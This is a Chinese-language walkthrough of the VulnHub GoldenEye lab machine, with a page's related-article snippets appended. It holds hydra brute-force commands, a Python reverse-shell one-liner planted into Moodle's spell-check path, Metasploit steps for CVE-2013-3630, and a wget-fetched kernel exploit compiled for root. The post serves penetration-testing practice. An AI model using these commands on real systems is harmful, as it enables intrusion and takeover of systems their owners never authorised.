【6 GoldenEye渗透笔记】

2023-10-27

1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova

难度:中等

镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机

目标:获取root的flag。

靶机IP:未知

本机kali IP:192.168.1.107

3.arp-scan主机发现

使用命令:

arp-scan -l

发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。

4.网络扫描

nmap  -A  192.168.1.116

 发现系统是linux,开放了80、25端口,80端口为HTTP服务,使用的是Apache 2.4.7,25端口为smtp。

查看web指纹

whatweb 192.168.1.116

没有发现有用的东西。

看看网站,浏览器访问:https://192.168.1.116

web页面上是一些提示

提示导航到/sev-home/目录去登录。通过浏览器访问

 不知道账号密码。

目录爆破

使用dirsearch 对 192.168.1.116和dirsearch -u 192.168.1.116/sev-home

dirsearch -u 192.168.1.116

dirsearch -u 192.168.1.116/sev-home

都没有发现有用的东西,图就不贴了。

看看网页的源码。

 还有两个文件,进一步查看,在terminal.js中发现了账号、密码。

得到账号密码:

Boris/InvincibleHack3r

还有一个账号,Natalya,不知道密码。

密码是html编码的密码

在burp中解码得到:InvincibleHack3r

使用账号密码:Boris/InvincibleHack3r登录,发现登录不成功。账号换成小写成功登录。

页面上,提示需要发送邮件给GNO管理员。pop3服务器不是运行在默认端口。

顺便查看一下源码,发现了两个GNO管理员,Natalya,Boris。

我们再扫描一次这个IP,加上参数 -p- 。

nmap -A -p- 192.168.1.116

果然又发现了两个端口,55006,运行pop3服务,55007,服务未知。

通过浏览器访问者两个端口,在55007端口发现如下。

是pop3的登录地址,不知道密码,无法登录

5.hydra 密码爆破

联想到主页源码中提示Boris更新他的默认密码,这里可能存在弱密码。

把账号Boris、boris、Natalya、natalya写入文件,\n是换行符。

echo -e 'Boris\nboris\nNatalya\nnatalya' > user.txt

使用hydra 进行密码爆破。

hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.1.116 -s 55007 pop3 -t 64

发现了4对账号密码。分别登录查看一下。

使用nc 连接pop3端口。

nc 192.168.1.116 55007  #登录邮箱
user boris        #登录用户
pass secret1!    #登录密码
list              #查看邮件数量
retr 1~3          #分别使用retr 1、retr2、retr3来查看邮件内容
quit              #退出,结束回话    

依次查看四个账号的内容,实际上只有两个账号,账号名大小写是一样的。

在boris邮件中发现如下内容。

在natalyn第2封邮件中发现如下内容。

获得一组用户名密码:xenia/RCP90rulez!。一个域severnaya-station.com/gnocertdir。提示要加入hosts文件中。

在/etc/hosts文件中加入一行。

192.168.1.116   severnaya-station.com

通过浏览器访问http://severnaya-station.com/gnocertdir/

然后使用邮件中的账号密码登陆。后台使用的是moodle框架。

点点点!!!

找到一个未读信息

 得到邮箱用户doak,继续去爆破doak的邮箱密码。

hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.1.116 -s 55007 pop3 -t 64

成功爆破出密码goat,使用账号名密码:doak/goat 登陆邮箱,查看邮箱内容。

 获得一个账号密码:dr_doak/4England!,提示使用这个账号登录系统。

找到一个用户admin

 还看到for james目录,下面有一个文件。

 文件内容如下

 目录下有一张图片。把图片下载到本地。

wget http://severnaya-station.com/dir007key/for-007.jpg

使用strings查看图片底层内容。

strings for-007.jpg

发现隐藏的信息。

eFdpbnRlcjE5OTV4IQ==

使用burp 进行base64解码得到:xWinter1995x!

使用账号密码admin/xWinter1995x! 登录。是后台管理员账号。

发现moodle版本号2.2.3。

6获取反弹shell

6.1通过命令执行获取

在siteAdministration->server->system paths下发现可以执行命令,能够反弹shell。

把system paths 中path to aspell 内容换成如下反弹shell代码并保存

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在settings->siteadministration->plugins->TextEditors->ManageEditors->settings->spell engine选择PSpellShell  

在攻击机上执行如下代码,监听5678端口,等待反弹shell连接。

nc -vlp 5678

在home->tags->breaking codes and spinning my pen->edit this tag 中触发反弹shell命令执行。

注意点击√。执行√左右都能点击,并不能触发,一定要点击对地方。

 

获得反弹shell

6.2通过msf获取

我们知道了后台使用框架为moodle,版本为2.2.3

google moodel 2.2.3 漏洞,发现存在cve-2013-3630

在settings->siteadministration->plugins->TextEditors->ManageEditors->settings->spell engine选择PSpellShell  保存

使用msf测试

msfconsole #启动msf

search moodle #查找moodle的攻击模块

search cve:cve-2013-3630       #查找指定cve攻击模块

use 0                        #使用指定模块

info #查看信息,然后设置需要的参数

set username admin #设置用户名

set password xWinter1995x! #设置密码

set rhost severnaya-station.com #设置远程主机域名

set targeturi /gnocertdir #设置目录

show payloads    #查看可用payload

set payload  cmd/unix/reverse  #设定payload 设置时,使用编号也行

set lhost 192.168.1.107 #设定监听主机ip,本机ip

set lport 1234 #设定监听端口,本机端口

run #执行

转tty

python -c 'import pty; pty.spawn("/bin/bash")'

7.提权

运行

uname -a

得知系统是64位,Linux ubuntu 3.13.0-32-generic 。

在kali中搜索ubuntu 3.13版本的提权exp

searchsploit ubuntu 3.13

 有几个提取exp,选择第一个3729.c

在靶机上看看gcc

 靶机没有gcc,在exp文件第143行把gcc改成cc

 把exp文件上传到靶机。

在攻击机运行

python -m http.server 8081

靶机运行wget下载文件

wget http://192.168.1.107:8081/37292.c

cc 37292.c -o ex   #使用cc编译。

chmod +x ex    #授予执行权限

./ex     #运行

cd  /root

ls -al

可以看到.flag.txt 文件,即是flag文件。

8.结语

最后请各位师傅斧正!!!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【6 GoldenEye渗透笔记】 的相关文章

  • 让 MongoDB 在 Linux 上监听远程连接

    我已在 Windows 本地计算机上 上成功安装 MongoDB 作为服务 但现在我想将 MongoDb 移动到单独的服务器 所以我将 tarball 解压到网络上的虚拟服务器 运行 Linux 当我从本地计算机使用 PuTTY 连接到服务
  • arm-linux-gnueabi 编译器选项

    我在用 ARM Linux gnueabi gcc在 Linux 中为 ARM 处理器编译 C 程序 但是 我不确定它编译的默认 ARM 模式是什么 例如 对于 C 代码 test c unsigned int main return 0x
  • 信号处理程序有单独的堆栈吗?

    信号处理程序是否有单独的堆栈 就像每个线程都有单独的堆栈一样 这是在 Linux C 环境中 来自 Linux 手册页signal 7 http kernel org doc man pages online pages man7 sign
  • .NET Core 中的跨平台文件名处理

    如何处理文件名System IO以跨平台方式运行类以使其在 Windows 和 Linux 上运行 例如 我编写的代码在 Windows 上完美运行 但它不会在 Ubuntu Linux 上创建文件 var tempFilename Dat
  • Locale.getDefault() 始终返回 en

    unix 机器上的服务器始终使用 en 作为默认区域设置 以下是区域设置输出 LANG en US LC CTYPE C LC NUMERIC C LC TIME C LC COLLATE C LC MONETARY C LC MESSAG
  • 何时使用 pthread 条件变量?

    线程问题 看来 只有在其他线程调用 pthread cond notify 之前调用 pthread cond wait 时 条件变量才起作用 如果在等待之前发生通知 那么等待将被卡住 我的问题是 什么时候应该使用条件变量 调度程序可以抢占
  • 从 PL/SQL 调用 shell 脚本,但 shell 以 grid 用户而非 oracle 身份执行

    我正在尝试使用 Runtime getRuntime exec 从 Oracle 数据库内部执行 shell 脚本 在 Red Hat 5 5 上运行的 Oracle 11 2 0 4 EE CREATE OR REPLACE proced
  • Elasticsearch 无法写入日志文件

    我想激活 elasticsearch 的日志 当我运行 elasticsearch 二进制文件时 我意识到我在日志记录方面遇到问题 无法加载配置 这是输出 sudo usr share elasticsearch bin elasticse
  • 创建 jar 文件 - 保留文件权限

    我想知道如何创建一个保留其内容的文件权限的 jar 文件 我将源代码和可执行文件打包在一个 jar 文件中 该文件将在使用前提取 人们应该能够通过运行批处理 shell 脚本文件立即运行示例和演示 然后他们应该能够修改源代码并重新编译所有内
  • 如何使用 bash 锁定文件

    我有一个任务从远程服务器同步目录 rsync av email protected cdn cgi l email protection srv data srv data 为了使其定期运行并避免脚本 reEnter 问题 我使用 rsyn
  • 如何禁用 GNOME 桌面屏幕锁定? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 如何阻止 GNOME 桌面在几分钟空闲时间后锁定屏幕 我已经尝试过官方手册了在红帽 https access redhat com doc
  • 为什么内核需要虚拟寻址?

    在Linux中 每个进程都有其虚拟地址空间 例如 32位系统为4GB 其中3GB为进程保留 1GB为内核保留 这种虚拟寻址机制有助于隔离每个进程的地址空间 对于流程来说这是可以理解的 因为有很多流程 但既然我们只有 1 个内核 那么为什么我
  • 大多数 Linux 系统头文件与 C++ 兼容吗?

    大多数 Linux 系统头文件 API C 兼容吗 今天我试图做这样的事情 include
  • chown:不允许操作

    我有问题 我需要通过 php 脚本为系统中的不同用户设置文件所有者权限 所以我通过以下命令执行此操作 其中 1002 是系统的用户 ID file put contents filename content system chown 100
  • fopen 不返回

    我在 C 程序中使用 fopen 以只读模式 r 打开文件 但就我而言 我观察到 fopen 调用没有返回 它不返回 NULL 或有效指针 执行在 fopen 调用时被阻止 文件补丁绝对正确 我已经验证过 并且不存在与权限相关的问题 任何人
  • Android 时钟滴答数 [赫兹]

    关于 proc pid stat 中应用程序的总 CPU 使用率 https stackoverflow com questions 16726779 total cpu usage of an application from proc
  • 如何有效截断文件头?

    大家都知道truncate file size 函数 通过截断文件尾部将文件大小更改为给定大小 但是如何做同样的事情 只截断文件的尾部和头部呢 通常 您必须重写整个文件 最简单的方法是跳过前几个字节 将其他所有内容复制到临时文件中 并在完成
  • 如何使用GDB修改内存内容?

    我知道我们可以使用几个命令来访问和读取内存 例如 print p x 但是如何更改任何特定位置的内存内容 在 GDB 中调试时 最简单的是设置程序变量 参见GDB 分配 http sourceware org gdb current onl
  • 添加要在给定命令中运行的 .env 变量

    我有一个 env 文件 其中包含如下变量 HELLO world SOMETHING nothing 前几天我发现了这个很棒的脚本 它将这些变量放入当前会话中 所以当我运行这样的东西时 cat env grep v xargs node t
  • vector 超出范围后不清除内存

    我遇到了以下问题 我不确定我是否错了或者它是一个非常奇怪的错误 我填充了一个巨大的字符串数组 并希望在某个点将其清除 这是一个最小的例子 include

随机推荐

  • UE4_聚合图

    UE4 聚合图
  • 【Python 1-0】10个学习Python的理由以及Python的优势有哪些?

    Python的由来 首发地址 Python的创始人是吉多 范罗苏姆 1989年他在阿姆斯特丹的CWI工作 圣诞节期间 吉多 范罗苏姆为了打发圣诞节的无聊 决定开发一个新的脚本解释程序 作为ABC 语言的一种继承 之所以选择Python作为编
  • Maven覆盖私服上的jar包,本地仓库无法更新的问题

    在上传第三方jar包到私服环境时 第一次上传成功后 突然发现上传的jar包有问题 但是因为已经指定了版本号 并且是release版本的jar包 因为不想更换版本号 所以再重复上传正确的jar包 就会出现如下错误 一种解决办法是指定另外一个版
  • Gitflow工作流程

    在工作场合实施Git的时候 有很多种工作流程可供选择 此时反而会让你手足无措 本文罗列了企业团队最常用的一些Git工作流程 包括Centralized Workflow Feature Branch Workflow Gitflow Wor
  • Container命令ctr,crictl的用法

    Container命令ctr crictl的用法 版本 ctr containerd io 1 4 3 containerd 相比于docker 多了namespace概念 每个image和container 都会在各自的namespace
  • 通过Vue.js的axios请求WFS数据并处理请求回来的XML文件

    前端小白的第一个博客 前言 这个是在GIS开发过程中遇到的一个小问题 因为里面包含了蛮多的知识点 故将其记录 废话不多说进入正文 正文 此次需要解决的问题是通过wfs接口来获取到一些需要的内容 然后以这些内容为基础进行一系列的操作 以下展示
  • 1.3远程控制及文件传输

    我们经常用的是Windows操作系统 又经常需要与Ubuntu进行文件传输 同时为了能在Windows上操作我们的Ubuntu 这里推荐一个文件传输和一个远程控制的程序 文件传输WinSCP 官方下载地址 https sourceforge
  • VsCode官网快速下载

    VsCode官网 以Win10下载为例 问题描述 下载时 发现速度很慢 甚至会没有下载速度 如下图 解决方法 右键复制这个下载链接 将其前半部分修改为vscode cdn azure cn 例如 原下载链接 https az764295 v
  • Codeforces 600C Make Palindrome 【贪心 找字典序最小回文串】

    一 题目概述 C Make Palindrome time limit per test 2 seconds memory limit per test 256 megabytes input standard input
  • 如何在Anaconda安装opencv,下面分享一下教程

    1 首先下载opencv安装包 下载地址 https download csdn net download qq 42375391 12333992 2 安装完成后 在Anaconda Prompt内使用pip install完整路径文件名
  • 算法:模拟思想算法

    文章目录 实现原理 算法思路 典型例题 替换所有问号 提莫攻击 N字型变换 外观序列 总结 本篇总结的是模拟算法 实现原理 模拟算法的实现原理很简单 就是依据题意实现题意的目的即可 考察的是你能不能实现题目题意的代码能力 算法思路 没有很明
  • openwrt 自动签到插件-食用指南

    目录 openwrt 自动签到插件下载 openwrt 插件安装需要的依赖 openwrt 插件安装 文件上传 openwrt 自动签到配置 设置详情 Cookie获取失败 解决方法 Charles 抓包获取Cookie openwrt 配
  • 计算机设备问题代码43,双击unknown device由于该设备有问题Windows已将其停止(代码 43)怎么办解决教程...

    金士顿U盘做的启动盘 8G 在别人的电脑上储存文件正常 但在自己的电脑上无法识别 在设备管理器中显示黄色叹号 属性显示 该设备存在问 题 windows已将其停止 代码43 本机win7系统 别人电脑为XP系统 已将 禁用 注册表 dos设
  • Linux 阻塞IO(等待队列)原理及架构

    一 阻塞操作 阻塞操作是指在执行折本操作时 若不能获得自愿 则挂起进程直到满足可操作性的条件后在进行操作 被挂起的进程进入休眠状态 被从调度器的运行队列移走 直到等待的条件被满足 假设recvfrom函数是一个系统调用 阻塞不是低效率 如果
  • vue -- 验证码

  • 25-python函数(低阶)

    一 函数的作用 函数的本质就是将一段具有独立功能的代码块整合到一个整体并命名 在需要的时候通过调用函数名完成某种需求 以提高代码的利用率 从而在稳定系统的同时减轻程序员的工作 二 函数的使用过程 函数使用分为两个步骤 先定义 后调用 定义函
  • Java设计模式之状态模式

    本文继续介绍23种设计模式系列之策略模式 何时使用 State模式在实际使用中比较多 适合 状态 的切换 因为我们经常会使用If else if else 进行状态切换 如果针对状态的这样判断切换反复出现 我们就要联想到是否可以采取Stat
  • Android相机-架构3

    目录 引言 1 Android相机的整体架构 2 相机 HAL 2 1 AIDL相机HAL 2 2 相机 HAL3 功能 3 HAL子系统 3 1 请求 3 2 HAL和相机子系统 3 2 1 相机的管道 3 2 2 使用 Android
  • TCP的拥塞控制(详解)

    在某段时间 若对网络中某一资源的需求超过了该资源所能提供的可用部分 网络性能就要变坏 这种情况就叫做网络拥塞 在计算机网络中数位链路容量 即带宽 交换结点中的缓存和处理机等 都是网络的资源 若出现拥塞而不进行控制 整个网络的吞吐量将随输入负
  • 【6 GoldenEye渗透笔记】

    1 前言 本文仅用于技术讨论与研究 不做任何导向 对于所有笔记中复现的这些终端 服务器或者实验环境 均为自行搭建的公开靶场 请勿在现实环境中模仿 操作 本文涉及到的工具仅就用到的方面做简要描述 如果想了解更详细的信息 请自行参阅其他技术资料